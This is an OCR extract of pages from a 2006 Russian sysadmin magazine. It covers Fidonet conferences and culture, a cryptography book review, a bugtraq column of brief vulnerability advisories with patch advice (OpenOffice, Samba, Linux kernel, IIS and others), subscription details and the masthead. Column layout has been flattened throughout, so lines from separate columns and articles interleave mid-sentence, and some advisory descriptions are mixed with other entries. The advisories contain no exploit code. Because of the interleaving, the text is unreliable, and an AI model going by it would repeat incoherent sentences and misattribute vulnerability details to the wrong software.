В российском Фидо в его лучшие рого были постоянными подписчи- телями Фидо в нашей стране являют-
годы существовало порядка трех ты- ками эхи на протяжении несколь- ся, главным образом, профессиональ-
сяч конференций, большая часть из ко- ких лет. ные программисты и системные адми-
торых функционирует до сих пор. Са- SU.KASHENKO.LOKAL – о порта- нистраторы.
мые популярные эхи: ле Udaff.com слышал, наверное,
RU.ANEKDOT – безусловно, са- каждый, кто имеет доступ к ресур- Субкультура Fidonet
мая известная конференция. По- сам сети Интернет. Так вот, сама Говорить о Фидо только с технической
явилась летом 1992 года, став на- по себе субкультура так называе- точки зрения (как о компьютерной се-
следницей SU.HUMOR. Предназна- мых падонкаф зародилась именно ти) по меньшей мере неправильно.
чалась она для публикации анекдо- в Фидо, в выше обозначенной эхе. Это прежде всего – сообщество, я бы
тов, однако обсуждали в ней прак- Название было выбрано из-за из- даже сказал – субкультура.
тически всё. Каждый новичок в вестной психиатрической больни- Отношения в Fidonet действитель-
Фидо обязательно подписывается цы. «Кащениты», как их именова- но неформальные, «панибратские».
на RU.ANEKDOT. ли в сети, отличались сильной неа- Независимо от того, кем является со-
RU.LINUX.CHAINIK – можно ска- декватностью в общении, часто ис- беседник, принято обращаться на «ты».
зать, единственная конференция, пользовали ненормативную лекси- Фидошники, как правило, помогают
где новичок мог что-либо узнать ку, не утруждали себя следованию друг другу. Интересный факт: в нача-
о свободном ПО. Здесь выклады- нормам русского языка. ле становления сети по Москве езди-
вались FAQ, документы, инфор- RU.NETHACK – место общения со- ла команда сисопов и бесплатно на-
мация о различных дистрибути- здателей компьютерных вирусов, страивала каждому желающему до-
вах. Во время, когда Интернет еще хакеров и компьютерных хулига- ступ в Fidonet.
не был общедоступным, а книжек нов. Несмотря на то что там иног- Впрочем, несмотря на это, са-
о *nix просто не существовало, не- да появлялись настоящие специ- мые жестокие «флеймы» происходи-
обходимость в подобной конферен- алисты в области IT-безопаснос- ли именно в Фидо. Термин «Holy war»
ции трудно было переоценить. Су- ти, большей частью подписчи- («священная война») появился как раз
ществовала и RU.LINUX, предна- ками конференции являлась мо- в этой сети. С++ против Pascal, WarCraft
значавшаяся для более опытных лодёжь, спорившая о «вечных» те- против StarCraft, в конце концов, «Али-
пользователей, однако она была мах, типа «Что круче – Basic или са» против «Гражданской обороны»…
менее популярна и интересна. Pascal». подобные споры составляли огромный
90
bugtraq
92
книжная полка
Мир программирования.
Криптография
Найгел Смарт
ти. Также нельзя не отметить, что эту аутентичного открытого ключа. Не ос-
книгу можно начать изучать с мини- тались без внимательного рассмот-
мальным представлением о криптог- рения и вопросы, связанные со стой-
рафии как о науке (однако предпола- костью шифров. Вы узнаете об атаках
гается, что знания математики на до- на схемы с открытым ключом, мето-
статочном уровне у вас все же есть). дах определения стойкости, теорети-
В первой части, которая носит назва- ческой сложности и доказуемой стой-
ние «Предварительные математичес- кости. В приложении находится мате-
кие сведения», автор расскажет вам риал, посвященный основной матема-
об арифметике остатков, конечных по- тической терминологии, а также раз-
лях и вероятностях, а также об эллип- личные примеры реализации на языке
тических кривых. Раздел «Симметрич- Java. Хорошая книга, которая окажется
ное шифрование» представлен мате- полезной не только студентам, изучаю-
Тема защиты информации от посто- риалом об истории шифров, теорети- щим криптографию, но и программис-
ронних глаз была актуальна во все ко-информационной стойкости. Под- там, работающим в данной области.
времена. Криптография как наука яв- робно рассмотрены DES и распреде-
ляется одной из основополагающих ление симметричных ключей. В тре- Издательство: «Техносфера»
во всех областях, связанных с защитой тьей части «Криптосистемы с откры- Год издания: 2004
данных. Несмотря на то что эта книга тым ключом и подписи» автор повес- Количество страниц: 528
по сути является учебником для сту- твует об основных алгоритмах шиф- ISBN: 5-94836-043-1
дентов вузов, стиль изложения мате- рования с открытым ключом, тестах Цена: ≈ 370 руб.
риала достаточно «живой», без излиш- на простоту, факторизации, дискрет- Книга предоставлена издательством «Тех-
ней сухости и академической строгос- ных логарифмах, методах получения носфера».
Множественные уязвимости
в OpenOffice Раскрытие данных в Webmin/Usermin
Программа: OpenOffice 1.1.x, OpenOffice 2.x. Программа: Webmin версии до 1.290, Usermin версии
Опасность: Средняя. до 1.220.
Описание: 1. Уязвимость существует при обработке опре- Опасность: Средняя.
деленных Java-апплетов в документах OpenOffice. Удален- Описание: Уязвимость существует из-за ошибки при об-
ный пользователь может с помощью специально сформи- работке URL. Удаленный неавторизованный пользователь
рованного документа обойти ограничения песочницы и по- может с помощью специально сформированного URL про-
лучить доступ к системным ресурсам с привилегиями те- смотреть произвольные файлы на системе. Подробности
кущего пользователя. уязвимости не сообщаются.
2. Уязвимость существует из-за ошибки при обработке URL производителя: www.webmin.com.
макросов, прикрепленных к документам. Злоумышленник Решение: Установите последнюю версию с сайта произ-
может без ведома пользователя выполнить произвольный водителя.
Basic-код с привилегиями текущего пользователя.
3. Уязвимость существует из-за ошибки проверки гра-
ниц данных при обработке определенных XML-файлов. Уда- Выполнение произвольного кода
ленный пользователь может с помощью специально сфор- в Microsoft Internet Information Server
мированного XML-файла вызвать переполнение буфера Программа: Microsoft Internet Information Server (IIS) 5.0,
и выполнить произвольный код на целевой системе. 5.1, 6.0.
URL производителя: www.openoffice.org. Опасность: Средняя.
Решение: Установите последнюю версию (2.0.3) с сайта Описание: Удаленный авторизованный пользователь с при-
производителя. вилегиями на загрузку файлов может с помощью специ-
ально сформированного ASP-файла выполнить произ-
Раскрытие данных в .NET Framework вольный код на целевой системе. Подробности уязвимос-
Программа: .NET Framework 2.0. ти не сообщаются.
Опасность: Средняя. URL производителя: www.microsoft.com.
Описание: Уязвимость существует из-за ошибки при об- Решение: Установите исправление с сайта производи-
работке URL. Удаленный пользователь может обойти огра- теля.
ничения безопасности ASP.Net и получить неавторизован-
ный доступ к объектам в каталогах приложений (Application
folder). Для удачной эксплуатации уязвимости злоумышлен- Отказ в обслуживании в Cisco IPS
ник должен знать название объекта. Программа: Cisco Intrusion Prevention System (IPS) 5.1.
URL производителя: www.microsoft.com, Опасность: Средняя.
Решение: Установите исправление с сайта производи- Описание: Уязвимость существует из-за ошибки в стандар-
теля. тном драйвере сетевого гигабитного адаптера на чипсете
Intel при обработке некоторых IP-пакетов. Удаленный поль-
Отказ в обслуживании в Samba зователь может с помощью специально сформированного
Программа: Samba 3.0.1 – 3.0.22. IP-пакета вызвать отказ в обслуживании устройства, если
Опасность: Низкая. этот адаптер сконфигурирован на мониторинг трафика.
Описание: Уязвимость существует из-за ошибки при об- URL производителя: www.cisco.com.
работке большого количества подключений к сетевым ре- Решение: Установите исправление (версию 5.1(2)) с сай-
сурсам. Удаленный пользователь может создать большое та производителя.
количество соединений и заставить smbd потреблять боль-
шое количество системных ресурсов.
URL производителя: www.samba.org. Уязвимость состояния операции
Решение: Установите последнюю версию (3.0.23) с сайта в ядре Linux
производителя. Программа: Linux kernel версии до 2.6.17.5.
Опасность: Низкая.
Повышение привилегий в ядре Linux Описание: Уязвимость состояния операции существует при
Программа: Linux kernel версии до 2.6.17.4. изменении статуса файла в файловой системе /proc. Ло-
Опасность: Низкая. кальный пользователь может выполнить произвольный код
Описание: Уязвимость существует из-за недостаточной на целевой системе с привилегиями пользователю root.
обработки данных дампа ядра. Злоумышленник может со- URL производителя: www.kernel.org.
здать дамп в запрещенных директориях или получить при- Решение: Установите последнюю версию (2.6.17.5 или вы-
вилегии пользователя root на системе. ше) с сайта производителя.
URL производителя: www.kernel.org.
Решение: Установите последнюю версию ядра (2.6.17.4) Составил Александр Антипов
с сайта производителя.
94
подписка на 2006 год
Российская Федерация печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
Подписной индекс: годовой – 20780, полугодовой – 81655 Казахстан – по каталогу «Российская Пресса» через
Каталог агентства «Роспечать» ОАО «Казпочта» и ЗАО «Евразия пресс»
Подписной индекс: 87836 Беларусь – по каталогу изданий стран СНГ через РГО
Объединенный каталог «Пресса России» «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
Адресный каталог «Подписка за рабочим столом» Узбекистан – по каталогу «Davriy nashrlar» российс-
Адресный каталог «Библиотечный каталог» кие издания через агентство по распространению пе-
Альтернативные подписные агентства: чати «Davriy nashrlar» (7000029, г. Ташкент, пл. Муста-
Агентство «Интер-Почта» (495) 500-00-60, курьерская киллик, 5/3, офис 33)
доставка по Москве Армения – по списку номенклатуры «АРЗИ» через
Агентство «Вся Пресса» (495) 787-34-47 ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Да-
Агентство «Курьер-Прессервис» вида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «ООО Урал-Пресс» (343) 375-62-74 ул. Сарьяна, 22)
ЛинуксЦентр www.linuxcenter.ru Грузия – по списку номенклатуры «АРЗИ» через АО
Подписка On-line «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29)
http://www.arzi.ru и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г. Тирасполь, ул. Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайс-листу через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенк- (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
латуры «АРЗИ»: Подписка для Украины:
Азербайджан – по объединенному каталогу россий- Киевский главпочтамт
ских изданий через предприятие по распространению Подписное агентство «KSS», тел./факс (044)464-0220
Подписные
индексы:
20780*
81655**
по каталогу
агентства
«Роспечать»
87836
по каталогу
агентства
«Пресса
России»
*
годовой
**
полугодовой
УЧРЕДИТЕЛИ
ЧИТАЙТЕ
Владимир Положевец
Александр Михалев В СЛЕДУЮЩЕМ
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
НОМЕРЕ:
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец Система авторизации PAM простым делом. Разработчики изра-
Ответственный секретарь Система PAM используется практичес- ильской компании Trustware Inc. пред-
Наталья Хвостова ки на всех UNIX-системах, за исключе- лагают подход, позволяющий актив-
sekretar@samag.ru нием разве что OpenBSD. В статье вы но защищать операционную систему
Технический редактор найдете описание процесса конфигу- Windows против злонамеренного про-
Владимир Лукин рирования системы PAM и установки граммного обеспечения и других ви-
Редактор и настройки дополнительных модулей. дов атак. Без каждодневных обновле-
Алексей Коршунов
Программистам пригодится информа- ний, с максимальной защитой при ми-
Внештатные редакторы
ция о том, как написать свой модуль нимальном участии пользователя.
Алексей Барабанов
Сергей Супрунов и приложение для него.
Дмитрий Мороз SASL – модуль сетевой
Суровая правда, скрытая аутентификации
РЕКЛАМНАЯ СЛУЖБА за «розовыми очками»: пользователей
тел./факс: (495) 628-8253 история компании С помощью библиотеки SASL2 сете-
Евгения Тарабрина Transmeta вые приложения могут автоматически
reсlama@samag.ru В мире существует категория людей, договориться об использовании опре-
которые из кожи вон лезут, лишь бы деленного механизма подтверждения
Верстка и оформление подарить другим благо, причём без- идентичности пользователя. Как на-
maker_up@samag.ru
возмездно. Но зачастую большинс- строить библиотеку SASL для работы
Дизайн обложки
тву «манна небесная» не всегда по ду- совместно c Kerberos?
Николай Петрочук
ше, или, попросту, не нужна. Компа-
По вопросам распространения ния Transmeta принесла практически Упаковщики исполняемых
обращайтесь по телефону: «совершенные» процессоры в массы, файлов в Linux/BSD
(495) 628-8253 (доб. 120) однако собственноручно допущенные Большинство UNIX-программ рас-
ошибки, жестокая конкуренция и при- пространяются в исходных текстах,
107045, г. Москва, вередливые пользователи не позволи- но количество коммерческих продук-
Ананьевский переулок, дом 4/2, стр. 1 ли задуманному осуществиться. тов с закрытым кодом неуклонно рас-
тел./факс: (495) 628-8253 тет, зачастую распространясь в упа-
Сайт журнала: www.samag.ru Защита от malware кованном виде. Это не только пре-
ИЗДАТЕЛЬ
при помощи BufferZone пятствует анализу, но снижает про-
Борьба с различного рода злонаме- изводительность и ухудшает совмес-
ЗАО «Издательский дом
«Учительская газета» ренными программами, является час- тимость с «зоопарком» UNIX-клонов.
тью обязанностей администратора но, покажем на примере ELFCrypt, UPX,
Отпечатано типографией учитывая, что ежедневно обнаружива- Burneye и Shiva, как можно освобо-
ГП «Московская Типография №13» ется около 50 новых, это становится не диться от упаковщиков.
Тираж 11000 экз.
96